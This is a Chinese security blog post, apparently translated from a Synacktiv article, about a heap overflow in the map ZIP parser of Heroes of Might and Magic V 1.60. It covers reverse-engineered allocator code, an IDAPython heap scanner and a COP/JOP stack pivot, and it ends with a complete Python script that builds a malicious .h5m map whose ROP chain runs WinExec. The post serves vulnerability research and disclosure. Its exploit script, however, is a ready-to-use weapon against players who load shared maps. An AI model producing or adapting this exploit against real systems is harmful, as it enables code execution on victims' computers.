白帽故事 · 2025年9月24日 0

利用英雄无敌5自定义地图实现远程控制对方电脑

引言

《英雄无敌 V》是由 Nival Interactive 开发的一款策略类主机游戏。该游戏于 2006 年由 Ubisoft 发行。游戏基于 Silent Storm 引擎。本次研究聚焦于目前的最新版本,即 GOG.com 上提供的 1.60 版本。

游戏中的地图等资源可以成为一个有趣的攻击向量,玩家可以使用游戏提供的地图编辑器创建自己的地图,地图可以在 www.maps4heroes.com 等网站上分享与下载。

地图编辑器

下载的地图必须放置在游戏目录的 Maps 文件夹中,地图文件尽管具有独特的扩展名(.h5m),但实际上是一个 zip 压缩文件,每个压缩文件包含多个文件:

  • name.txt 地图名称使用 UTF-16 编码
  • description.txt 地图描述使用 UTF-16 编码
  • map.xdb XML 文件用于描述地图上的不同对象(英雄、城市等)
  • MapScript.xml ,包含对 Lua 脚本的引用
  • MapScript.lua ,包含将被执行的 Lua 脚本,例如,当英雄进入指定区域时(Lua 引擎和暴露的函数也是一个有趣的攻击面,值得后续深入研究)

ZIP 文件是一个包含单独压缩文件的归档,英雄无敌5使用自己的库来解析 ZIP, NZip::CZipReader 类读取中央目录中文件的元数据, CZipFileEntry 类用于表示中央目录表中条目的元数据。

Zip文件格式

漏洞

在 CZipFileEntry 的一个方法中存在漏洞,该方法负责从 Zip 存档中解压缩文件。

通过逆向工程,我们暂将此方法命名为 CZipFileEntry::GetContent ,它调用了 CZipReader::GetContent 。在启动时,游戏读取所有地图,并仅加载每个 Zip 存档的元数据。

文件在需要时才会解压缩。例如,当需要显示地图名称时, CZipFileEntry::GetContent 将被调用于表示 name.txt 的对象,Zip 文件中的每个本地文件头具有以下结构:

本地压缩文件头

下面是 CZipReader::GetContent的伪代码,该方法将文件的本地图层映射到内存中以进行解压缩。

然后它初始化一个类型为 CMemoryStream 的对象,该对象使得操作字节数组更加容易。

CMemoryStream 的大小根据从本地 Zip 文件头中提取的 m_UncompressedSize 成员来确定。 CMemoryStream::SetSize 方法调用一个名为 H5_alloc 的专有内存分配函数。最后,该方法将调用 Uncompress 函数,并传入以下参数:

  • 表示压缩数据的 CMemoryMappedFileFragment 类型的对象
  • 表示将要接收解压缩数据的内存区域,由 CMemoryStream 类型的对象表示
  • Zip 头部解压缩数据的大小
  • 一个布尔值,用于忽略前 100 个解压缩的字节
CMemoryStream *__thiscall CZipReader::GetContent(NZip::CZipReader *this, int entriesNo)
{
  [...]
  v3 = this->entries.startPtr[entriesNo];
  p_cfile = &this->cfile;
  CMemoryMappedFileFragment::CMemoryMappedFileFragment(&v14, &this->cfile, v3->m_OffsetOfLocalHeader, 0x1E); // [1]
  v16 = 0;
  v5 = (v14.__flags & 1) == 0 ? (ZipFileEntryHeader *)v14.pointer : 0;
  offsetCompressedData = (unsigned __int16)v5->m_FilenameSize + v5->m_FileExtraSize + v3->m_OffsetOfLocalHeader + 0x1E;
  if ( v5->m_CompressionMethod )
  {
    v10 = (CMemoryStream *)H5_alloc(0x18u);
    LOBYTE(v16) = 2;
    if ( v10 )
      mData = CMemoryStream::Init(v10); // [2]
    else
      mData = 0;
    m_UncompressedSize = v5->m_UncompressedSize;
    LOBYTE(v16) = 0;
    CMemoryStream::SetSize(mData, m_UncompressedSize); // [3]
    CMemoryMappedFileFragment::CMemoryMappedFileFragment(
      &mmCompressedData,
      p_cfile,
      offsetCompressedData,
      v5->m_CompressedSize);
    uncompressSize = v5->m_UncompressedSize;
    LOBYTE(v16) = 3;
    Uncompress(&mmCompressedData, mData, uncompressSize, 0);

Uncompress 方法使用了 zlib 库的 inflateBack 函数。

int __thiscall Uncompress(
        CMemoryMappedFileFragment *MappedFileFragment,
        CMemoryStream *dstStream,
        int UncompressSize,
        bool inflate)
{
  [...]
  pCompressedData = MappedFileFragment->__rDataPtr;
  v6 = 0;
  dwCompressedDataSize = MappedFileFragment->__rDataPtrEnd - pCompressedData;
  v8 = 0;
  zStream.next_in = pCompressedData;
  zStream.avail_in = dwCompressedDataSize;
  memset(&zStream.zalloc, 0, 12);
  if ( inflate )
  {
    [...]
  }
  rc = inflateBackInit_(&zStream, 15, window, "1.2.3", 0x38);
  if ( !rc )
  {
    if ( (dstStream->field_14 & 1) != 0 )
      dataPtr = 0;
    else
      dataPtr = dstStream->dataPtr;
    inflateBack(&zStream, zlib_in, 0, zlib_out, &dataPtr); // [1]
    rc = inflateBackEnd(&zStream);
    if ( (dstStream->field_14 & 1) == 0 )
      v6 = dstStream->dataPtr;
    v8 = dataPtr - v6;
  }
  if ( v8 != UncompressSize )
    dstStream->field_14 |= 1u;
  return rc;
}

根据 zlib 文档, inflateBack 调用时会使用调用者提供的两个输入/输出子程序, inflateBack 在数据解压缩后调用 zlib_out 。

typedef unsigned (*in_func)(void FAR *,
                            z_const unsigned char FAR * FAR *);
typedef int (*out_func)(void FAR *, unsigned char FAR *, unsigned);

ZEXTERN int ZEXPORT inflateBack(z_streamp strm,
                                in_func in, void FAR *in_desc,
                                out_func out, void FAR *out_desc);

zlib_out 将解压缩的数据复制到之前创建的 CMemoryStream 相关的内存区域。当解压缩数据的大小超过通过 m_UncompressedSize 字段输入的大小时,将触发堆缓冲区溢出。

int __cdecl zlib_out(char **ppDest, const void *uncompressedData, unsigned int uncompressedDataSize)
{
  qmemcpy(*ppDest, uncompressedData, uncompressedDataSize);
  *ppDest += uncompressedDataSize;
  return 0;
}

漏洞利用

文件 name.txt 是从地图中解压缩的第一个文件,这发生在用户列出可用地图时。

主要思路是确保用于解压缩的内存区域在已分配对象的地址以下分配。利用漏洞我们能够替换现有对象的虚表,然而,问题在于选择正确的对象进行覆盖。

根据 name.txt 文件的大小,程序不会在相同的地址分配内存,根据用户操作,分配的对象可能不同,了解使用的分配器可能会有所帮助。

如代码片段所示, H5_alloc 函数对于小于 0x8000 字节的数据块不使用 malloc ,而是使用自定义分配器。

void *__cdecl H5_alloc(size_t size)
{
  [...]
  if ( size - 1 <= 0x7FFF ) // [1]
  {
    if ( g_HeapArena )
    {
      if ( ThreadLocalStoragePointer[TlsIndex]->initialized )
        return H5_alloc_internal((int)v1, size);
    }
    else
    {
      H5_heap_init();
      p_initialized = &ThreadLocalStoragePointer[v2]->initialized;
      *p_initialized = 1;
      if ( *p_initialized )
        return H5_alloc_internal((int)v1, size);
    }
    return malloc(size);
  }
  if ( size )
    return malloc(size);
  [...]
}

H5_alloc_internal 使用按大小排序的自由块链表,这类似于 Linux 上的 tcache 堆分配器,相同大小的自由块位于由 VirtualAlloc 分配的同一内存区域中。

void *__fastcall H5_alloc_internal(int a2, signed int size)
{
  [...]
  category = 0;
  g_lastAllocatedSize = size;
  if ( size > 8 )
  {
    v3 = size - 1;
    LOBYTE(v3) = (size - 1) | 7;
    if ( (((_WORD)size - 1) & 0x7E00) != 0 )
    {
      v3 >>= 8;
      category = 16;
    }
    if ( (v3 & 0x1E0) != 0 )
    {
      v3 >>= 4;
      category += 8;
    }
    if ( (v3 & 0x18) != 0 )
    {
      v3 >>= 2;
      category += 4;
    }
    if ( (v3 & 4) != 0 )
    {
      v3 >>= 1;
      category += 2;
    }
    category = category + v3 - 6;
  }
  freeChunk = (void **)g_FreeList[category];
  nextFreeChunk = &g_FreeList[category];
  [...]
  *nextFreeChunk = *freeChunk;
  g_nextFreeChunk = nextFreeChunk;

通过执行上述代码并改变 size 参数,我们得到以下表格,该表格将最大块大小与空闲列表编号关联起来。大小在 0x11 到 0x18 之间的空闲块将被放置在空闲列表编号 2 中,如果程序尝试分配 0x15 字节,它将搜索空闲列表编号 2。

Heap Chunks

基于这些链表,我们可以在堆中分析以寻找一个有趣的对象。以下是一个 idapython 脚本,用于扫描堆以查找虚表,我们可以在程序分配解压缩空间之前运行该脚本。

import idaapi
import ida_segment

ea_free_list = idaapi.get_name_ea(idaapi.BADADDR,"g_FreeList")

rdata = ida_segment.get_segm_by_name(".rdata")
text  = ida_segment.get_segm_by_name(".text")

sizes = {1: 16, 2: 24, 3: 32, 4: 48, 5: 64, 6: 96, 7: 128, 8: 192, 9: 256, 10: 384, 11: 512, 12: 768, 13: 1024, 14: 1536, 15: 2048, 16: 3072, 17: 4096, 18: 6144, 19: 8192, 20: 12288, 21: 16384, 22: 24576, 23: 32504}

for i in range(1,24):
    free_chunk = idaapi.get_dword(ea_free_list + 4 * i)
    for k in range(0,5):
        chunk_after = free_chunk + sizes[i] * k
        address = idaapi.get_dword(chunk_after)
        name = idaapi.get_name(address)
        if address >= rdata.start_ea and address <= rdata.end_ea:
            print("[%d:0x%08.8x + %d * 0x%04.4x] .rdata: 0x%08.8x (%s)" % (i,free_chunk,k,sizes[i],address,name))
        if address >= text.start_ea and address <= text.end_ea:
            print("[%d:0x%08.8x + %d * 0x%04.4x] .text: 0x%08.8x (%s)" % (i,free_chunk,k,sizes[i],address,name))
Below is an example of the script output:

脚本输出示例:

[6:0x15070900 + 3 * 0x0060] .text: 0x0063003c ()
[8:0x10590c00 + 1 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x10590c00 + 2 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x10590c00 + 3 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x10590c00 + 4 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[9:0x14d1ef00 + 3 * 0x0100] .rdata: 0x00e53fc8 (vtable__NDb::SWindowSimpleShared)
[9:0x14d1ef00 + 4 * 0x0100] .text: 0x006d003c ()
[10:0x10fb1800 + 3 * 0x0180] .rdata: 0x00e0df0c (??_7CWindowSimple@@6B@)
[15:0x10d38800 + 3 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)
[15:0x10d38800 + 4 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)
[16:0x1213a800 + 2 * 0x0c00] .rdata: 0x00e90053 ()
[19:0x1106a000 + 1 * 0x2000] .text: 0x00423942 ()
[19:0x1106a000 + 2 * 0x2000] .text: 0x00423942 ()

[6:0x150864e0 + 3 * 0x0060] .text: 0x0063003c ()
[8:0x105a5c40 + 1 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x105a5c40 + 2 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x105a5c40 + 3 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x105a5c40 + 4 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[9:0x14d13c00 + 1 * 0x0100] .text: 0x0065003c ()
[9:0x14d13c00 + 4 * 0x0100] .text: 0x0065003c ()
[15:0x10d37000 + 3 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)
[15:0x10d37000 + 4 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)
[16:0x1213a800 + 2 * 0x0c00] .rdata: 0x00e90053 ()
[19:0x11068000 + 1 * 0x2000] .text: 0x00423942 ()
[19:0x11068000 + 2 * 0x2000] .text: 0x00423942 ()
[20:0x12d70000 + 2 * 0x3000] .text: 0x005e4741 ()

[5:0x14fd9a40 + 1 * 0x0040] .rdata: 0x00e27cf4 (vtable__CBackgroundSimpleTexture)
[6:0x15095100 + 1 * 0x0060] .rdata: 0x00e3c0b8 (vtable__NGScene::CFileTexture)
[8:0x15e69d80 + 1 * 0x00c0] .text: 0x00410020 ()
[8:0x15e69d80 + 2 * 0x00c0] .text: 0x00530050 ()
[8:0x15e69d80 + 3 * 0x00c0] .text: 0x00410020 ()
[8:0x15e69d80 + 4 * 0x00c0] .text: 0x00750043 ()
[12:0x10ccab00 + 1 * 0x0300] .rdata: 0x00e53a9c (vtable__NDb::SBackgroundTiledTexture)
[12:0x10ccab00 + 2 * 0x0300] .rdata: 0x00e2b324 (vtable__NDb::SAdvMapDesc)
[12:0x10ccab00 + 3 * 0x0300] .rdata: 0x00e2b324 (vtable__NDb::SAdvMapDesc)
[15:0x10d34800 + 4 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)

经过多次尝试后,类型为 NGScene::CLightStateNode 的对象似乎总是位于堆内存区域 15 中第一个空闲块之后 0x2000 字节的位置。

因此,解压缩一个大小超过 0x2000 字节(且元数据指示大小为 0x800 字节)的地图将覆盖 NGScene::CLightStateNode 对象的虚表。

虚表在对象被释放时使用,由于二进制文件没有启用 ASLR,我们知道各个段(.text、.rdata 等)的地址,但由于不知道栈和堆的地址,剩下的唯一任务就是找到一种方法来进行栈迁移,如果 ESP 指向堆中的Payload,我们就能链式执行 gadgets。

通过分析对象释放时的调用过程,我们发现 ECX 和 ESI 寄存器指向被覆盖的对象。

.text:00B20444                 mov     eax, [esi]        ; get vtable from ESI
.text:00B20446                 push    1
.text:00B20448                 mov     ecx, esi          ; ECX = this
.text:00B2044A                 call    dword ptr [eax+8]

通过扫描.text 和.rdata 段以寻找有效地址,在 0x009c91d8 处发现了一个指向有趣代码的指针。

0x009c91d8 : 0x00d886c7
0x00d886c7 : xchg ebp, eax ; jl 0xd886b1 ; call ptr [ecx - 0x3d]

这是可以用来触发任意调用的gadget,它使用了远调用(call far) 指令,因此,我们需要在 ECX – 0x3D 处写入一个地址和一个代码段选择器,代码段选择器需要是 0x23,以在 Windows x64 上选择 32 位段,关于 Windows 下段寄存器的使用,可以参考这篇博客:

https://antonioparata.blogspot.com/2023/01/the-segment-memory-model-and-how-it.html

地址将指向下一个有用的gadget,以 ret 指令结尾的工具不能使用,因为我们无法控制栈的内容,以 jmp 或 call 指令结尾的gadgets通常被称为 COP/JOP 链。

下面的示意图将描述用于栈转换的 COP/JOP 链, PADDING 部分填充为零,如果分配器使用了已被覆盖的块,则在 0 处的 nextPointer 表示链表的结束,这提高了漏洞的稳定性。

  • 1 和 2,vtable 指向.text 段的指针,这是 COP 链中的第一个gadget
  • 3,gadget 将对象地址(ESI)压入栈中
  • 4,gadget 会将对象地址弹出到 ESP 中,ESP 现在指向损坏的 NGScene::CLightStateNode 对象
  • 5,gadget 是必要的,用于增加 ESP 并在未使用的空间上开启 ROP 链

代码执行流程

结论

从未知来源下载并安装地图的用户将面临风险,地图可用于安装恶意代码。

下面视频在 Windows 10(版本 10.0.19045.5487)上成功利用了该漏洞,漏洞可通过使用堆喷射操作来改进使用除 name.txt 之外的文件触发,一个想法是使用 map.xdb 文件来分配选定大小的对象。

利用脚本

# -*- coding: utf-8 -*-
# -----------------------------------------------------
# Map Exploit Heroes of Might and Magic V
# Version : 1.60
# Tested  : Microsoft Windows [version 10.0.19045.5487]
# -----------------------------------------------------

import struct
from zipfile import *

IAT_LoadLibraryA   = 0x00DE313C
IAT_GetProcAddress = 0x00DE30AC
szKernel32Dll      = 0x00E3E940

# Gadget address
mov_ptr_ebx_edi     = 0x0083594b  # mov dword ptr [ebx], edi ; ret
pop_ebx_edi         = 0x004a704c  # pop ebx ; pop edi ; ret
jmp_dword_ptr       = 0x00432fe2  # jmp dword ptr [ebx]
ret                 = 0x00401005  # ret
pop_ebx             = 0x00405eb1  # pop ebx ; ret
jmp_eax             = 0x00569a81  # jmp eax
mov_esi_esp         = 0x0041de8d  # push esp ; pop esi ; ret
mov_ptr_esi_18h_eax = 0x00ac91ea  # mov dword ptr [esi + 0x18], eax ; ret

def write(address,value):
    p = struct.pack("<I",pop_ebx_edi)
    p+= struct.pack("<I",address)
    p+= struct.pack("<I",value)
    p+= struct.pack("<I",mov_ptr_ebx_edi)
    return p

def write_string(address,s):
    p=b""
    for i in range(0,len(s),4):
        chunk_s = s[i:i+4].encode('utf-8')
        chunk_s+= (4 - len(chunk_s)) * b"\x00"
        chunk = struct.unpack("<I",chunk_s)[0]
        p+= write(address + i,chunk)
    return p

# Gadget used for pivot
# 0x009c91d8 : 0x00d886c7
# 0x00d886c7 : xchg ebp, eax ; jl 0xd886b1 ; call ptr [ecx - 0x3d]
# 0x00a8f57b : push esi ; call dword ptr [ecx + 0x10]
# 0x004b6a20 : pop esi ; pop esp ; pop esi ; pop ebp ; pop ebx ; ret

ptr_calc = 0x01112F58 + len("WinExec\0")

# Prepare Payload
mapName = "Exploit\0".encode('utf-16')
payload = mapName
payload+= b"\x00"*(0x800 * 4 - 0x3d - len(mapName))
payload+= struct.pack("<I",0x00a8f57b)
payload+= struct.pack("<H",0x23)
payload+= b"\x00" * (0x37)
payload+= struct.pack("<I",0x009c91d8 - 0x08) # <- ECX + 0x00
payload+= struct.pack("<I", 2)                # ECX + 0x04 (2)
payload+= struct.pack("<I", 0)                # ECX + 0x08 (0)
payload+= struct.pack("<I", pop_ebx)          # ECX + 0x0C (0)
payload+= struct.pack("<I", 0x004b6a20)       # ECX + 0x10 (1)

payload+= write_string(0x01112F58,"WinExec\0")
payload+= write_string(0x01112F58 + len("WinExec\0"),"C:\\Windows\\System32\\calc.exe")
payload+= struct.pack("<I",pop_ebx)
payload+= struct.pack("<I",IAT_LoadLibraryA)
payload+= struct.pack("<I",jmp_dword_ptr) # ret 4
payload+= struct.pack("<I",mov_esi_esp)
payload+= struct.pack("<I",szKernel32Dll)
payload+= struct.pack("<I",mov_ptr_esi_18h_eax) # 0x04
payload+= struct.pack("<I",pop_ebx)             # 0x08
payload+= struct.pack("<I",IAT_GetProcAddress) # 0x0c
payload+= struct.pack("<I",ret)
payload+= struct.pack("<I",jmp_dword_ptr) # end with ret 8 0x10
payload+= struct.pack("<I",jmp_eax) # 0x14
payload+= struct.pack("<I",0xFFFFFFFF) # 0x18
payload+= struct.pack("<I",0x01112F58)
payload+= struct.pack("<I",0x00C0D918) # exit
payload+= struct.pack("<I",ptr_calc)
payload+= struct.pack("<I",0)

# Copy all files from the template map with the same compress type and compress level
# except name.txt file
with ZipFile('Template.h5m','r') as inputZip:
    with ZipFile('Exploit.h5m','w') as outputZip:
        for name in inputZip.namelist():
            zipInfo = inputZip.getinfo(name)
            if name == 'Maps/Multiplayer/Test/name.txt':
                outputZip.writestr(name,payload,zipInfo.compress_type,zipInfo.compress_level)
            else:
                with inputZip.open(name,'r') as fp:
                    outputZip.writestr(name,fp.read(),zipInfo.compress_type,zipInfo.compress_level)

# Parsing Zip File
ZIP_LOCAL_FILE_HEADER_MAGIC = 0x04034B50

with open("Exploit.h5m","r+b") as fp:
    # Search Local File Header for name.txt file
    while True:
        offset = fp.tell()
        magic = struct.unpack("<I",fp.read(4))[0] 
        if ZIP_LOCAL_FILE_HEADER_MAGIC == magic:
            fp.seek(offset + 0x12)
            compressed_size   = struct.unpack("<I",fp.read(4))[0]
            uncompressed_size = struct.unpack("<I",fp.read(4))[0]
            filename_len      = struct.unpack("<H",fp.read(2))[0]
            extra_field_len   = struct.unpack("<H",fp.read(2))[0]
            filename = fp.read(filename_len).decode('utf-8')
            if filename == 'Maps/Multiplayer/Test/name.txt': 
                # Patch Uncompressed Size to 0x800
                print("Compressed Size   : 0x%08.8x" % compressed_size)
                print("Uncompressed Size : 0x%08.8x" % uncompressed_size)
                print("Patching Uncompressed Size")
                fp.seek(offset + 0x16)
                fp.write(struct.pack("<I",0x800))
                break
            else:
                fp.seek(offset + 0x1E + filename_len + extra_field_len + compressed_size)
        else:
            print("Stop parsing at offset 0x%08.8x" % fp.tell())
            break

参考文献

原文:https://www.synacktiv.com/en/publications/exploiting-heroes-of-might-and-magic-v